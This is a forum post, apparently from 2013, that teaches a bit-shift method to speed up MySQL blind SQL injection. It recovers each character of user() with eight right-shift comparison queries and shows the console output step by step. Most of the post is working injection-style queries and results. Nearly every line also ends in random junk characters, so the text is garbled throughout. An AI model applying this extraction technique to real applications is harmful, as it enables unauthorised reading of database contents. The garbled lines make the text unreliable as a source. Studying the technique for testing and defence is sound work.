找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2104|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位  N% I( o: c3 ~' h& P3 w4 l

8 T! d6 U. P0 Z) W
: E6 u5 v# `+ d' |( m1 q& G; D& H6 ]. A3 o- Y7 h$ S% {# v& I+ j7 b
下面将以查询mysql数据库当中user()的第一位为例:
, x- X! E5 S; F/ z
4 r5 o  e0 e1 H  l  v! b+ P
% x3 x9 z% z/ g5 V
% q$ G1 H6 ^0 z3 ~" v* vps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
7 N' Z* P& l: a& a
# X! L7 {( H. G5 C2 Y 7 d- K. A, `! I9 d

" r4 i+ J% \6 c, }# S( O首先执行如下sql语句:
# e/ z5 `( H2 p1 `0 c- Q4 M3 \( W
, ~. Z; T5 P! l4 e; @, M; n
" a* \: L- m1 C6 G/ w# p! a7 Y1 E" @8 W% l$ M# _- B6 b. f
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
8 ]1 @& ~3 f8 {, P1 K# H& W: T3 @& j: Y/ i8 R

2 S* Q8 H( q' h9 U* ^+ U1 f9 @7 X- \% F2 d) G# n
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的6 n: ^5 G* @- o6 V" Z9 N/ S

$ q" b  y+ |$ |. o4 d
) C1 _: Y) i4 d  W( j( f, g7 _9 s* ^
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
8 k. s4 k/ m0 t2 H' ?5 y% E* L, ?- K* i7 }) j; G
9 S- Q7 S. |3 u6 k* l  F

# M; {( v2 x3 z( X4 t如果运算结果为1,说明第一位为0,不为10 A% _) ]: F& d) d: }. S

# e! F2 i- K5 Z
, z" O8 [% n, \* `: I, \; M+ J5 Z* E2 J3 o* a  f6 ~
+————————————–+& W, J- c$ I' h  u, R
( R- w2 r( w; s# z/ D  j
| (ascii((substr(user(),1,1))) >> 7)=0 |
; _* N, d5 M7 |& v+ P4 y" I" W1 v0 L4 P) G
+————————————–+
3 C8 P( D; K1 Q% E3 ~/ x- i' Z: A. W' ?4 i& M: K8 h0 W" O" n: O7 w
| 1 |& r4 A0 |) G: y( y4 A* O8 W  z
1 v2 r. Y; F+ X% \0 o" e. V
+————————————–+
& p* B9 i# W- R- y; i+ T5 O
4 W" W) g' ^, X' L7 n: a' E8 I1 row in set (0.00 sec)* f& m/ C1 F5 @& m

7 F2 U- Y3 P3 O5 Y# K& n& O( Y这样我们就确定这个8bit的ascii的第一位为0
$ g: [' z0 o; ?2 Q, L( n& }3 I/ m1 G3 L7 O4 j

* Y- p3 [. j* W6 U9 E$ J- X3 h$ I
第二次我们来做6次右偏移来确定前两位
# n1 D9 z! f1 \
3 e- F: `* n9 F$ g3 {" C" j8 |. s
, V% x7 g; p: U( m" C" ]2 T7 x" q; h0 K% _$ C4 m3 j1 C4 G& N
前两位可能是01或00,即依然可以与0做比较,- O5 X0 j7 @+ \5 G
' o  p, ~9 w. Q( r$ `: X
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;- U% y' ~4 m$ f: J

9 f/ l+ w1 z4 D. E- i6 C! K+————————————–+" A( q: N9 e2 j9 b2 K7 y

5 z( s, Z  h$ W/ A# c# C% K7 y) U| (ascii((substr(user(),1,1))) >> 6)=0 |, o( I' E" W3 {- b/ o: Y

) }& @- o0 @% F0 P+————————————–+- u3 \/ z0 z2 M' d4 K% t
, l3 q7 X. y: P! J2 d7 @
| 0 |' I. I' H1 ^* V. h$ ^# P' f3 |7 X

2 w7 g+ @) O% W8 C  @% m+————————————–+
% I6 {- y- J; D& H& }  w3 b% x8 i% ]
1 row in set (0.00 sec)
& Q% |' x2 U1 t+ x
, @$ j: q  \! Z8 z) |* Y
% q3 C% |4 L! W6 V. u8 _$ q5 r* J0 x
结果为0,即第二位为1( O: S6 A0 e; R& G1 p+ P
8 H9 q4 k2 A7 v
1 t4 T1 x# J7 ~8 ]' P4 @

' K0 V  d/ E* c, F4 p4 k6 j开始猜测前三位为010或011* Y$ a  M, k' P
' A- Y1 p, f: R; F& E8 L5 ?
3 J3 g/ e  [4 l- ^" Y- [

# t% P. _2 d) e0 n  f: }# N& E; Q让我们看看010和011的ascii码是多少
% v  S3 P& C0 x* d5 C6 O5 K! ^% J! Q/ _7 _4 p; e
( n* B2 s( u" S8 V

2 r# F$ x. Y4 K0 d4 Z+ Q% f, @分别查询select b’011′ select b’010′& y( @8 k' w2 K, n) q
- o( x/ X0 u; }% J% G) a% ?* Q/ x
6 X9 C  C$ X7 T' \1 R
0 t' L6 G9 c. l# p" c
获得结果 010 = 2 011 = 3
& m" Z: y+ @0 l2 X( a7 D
# T* F; S  F- f) p8 P 9 t6 y2 r! Y/ A( w& E" G
* n8 u9 d( J$ {* p
执行如下sql:
9 l; A  X, h( ^$ w
2 [; b+ t1 d' K, C* t9 D
( C* l( @1 n4 Y; j6 }+ r! O4 ^: g1 {$ a& M
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
  T. T2 A" H! c6 R
, B6 F# w) X& L( D% \+————————————–+
7 S; s: _7 _6 }& `; C' a- Q
2 J" E, p- a* P  d| (ascii((substr(user(),1,1))) >> 5)=2 |9 d' b5 C0 ~. u& r" F4 z: T

: l& I4 o4 t5 F7 @$ ]1 U+————————————–+
1 L: _& K0 Y; P1 s- _: g+ H* D' F! x; K
| 0 |! R" T& {# E, x: V

9 m% D8 T+ E' O! {3 p3 |+————————————–+- L! {6 R  k2 f- r! _" a/ n
5 d( I1 B! H0 b, |
即前三位不为010,而是011
4 O- X; h- G# ?5 i6 s
* K" f& A! |1 k3 W; \9 l1 H( L- T
5 u2 f1 p( _9 S/ i5 D4 @6 u" f( [. |. A
直到获得最后一位4 H! O7 k6 W% H7 R. |& f
! U1 M. M7 D8 [! M% R. Z

; f( ^: ^9 I5 c3 L9 w1 k$ P. P. R" Y! b1 x, c
最终结果为:01110010
& I& u4 h. X* r; Z' ~; c" c
) S9 r% x  n$ Y- Y: z$ M2 T8 G9 B # K. c8 ^# V) ~+ n+ J
1 r$ f/ T! P: u" ]1 _) f. M$ u3 p' n
转换一下:# K9 n0 y1 Y8 t9 k& o! w

% P$ _2 S  m, h- j+ K  ?8 `3 U ; E' }4 m+ N' T' b1 J
% |4 A  V% l, j8 A; ?
select b’01110010′% G8 V6 g: i( t* m9 U

1 I6 t5 J5 U/ Q. z1 F % A0 I8 b* ?7 N1 W) M# b
9 P2 M  _) a, T- K0 Z& P  d( Y
查询结果9 j3 }& E$ I, L/ x: l2 x
- O( m7 N  _' R% }" v( j
4 N9 T! I2 T6 ^7 X1 m/ c- f! x

; c0 V8 u' o, V3 h2 K+————-+7 n" k4 u9 M) a6 W/ P+ y" D# I3 {2 N

0 }: D" }% _8 t| b’01110010′ |3 R: S+ Z2 d4 J; |
" t4 F7 b3 N" `! ~: _
+————-+2 T2 T1 l3 }$ j0 R$ }$ F

4 L& V2 L  G( }& i$ N| r |
! Y' b" u' G0 H4 y6 G
' O7 p5 W& I# |0 q9 I7 T  \+————-+* O+ T% X& G1 `! {# q
/ p* Z9 L7 [( d- C8 a6 q6 R
1 row in set (0.00 sec)6 c  [1 @) i. L& E$ U+ b
5 M, ?9 m5 {9 \1 c; m

, `7 b- ?7 J* ~3 B; z0 s
! p* R& \( M8 R这样我们就获得了user()的第一位.其它位依此类推/ r1 b$ }2 {- L8 }4 n

, B5 Y: S8 k# }* ]2 D1 \: d! g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表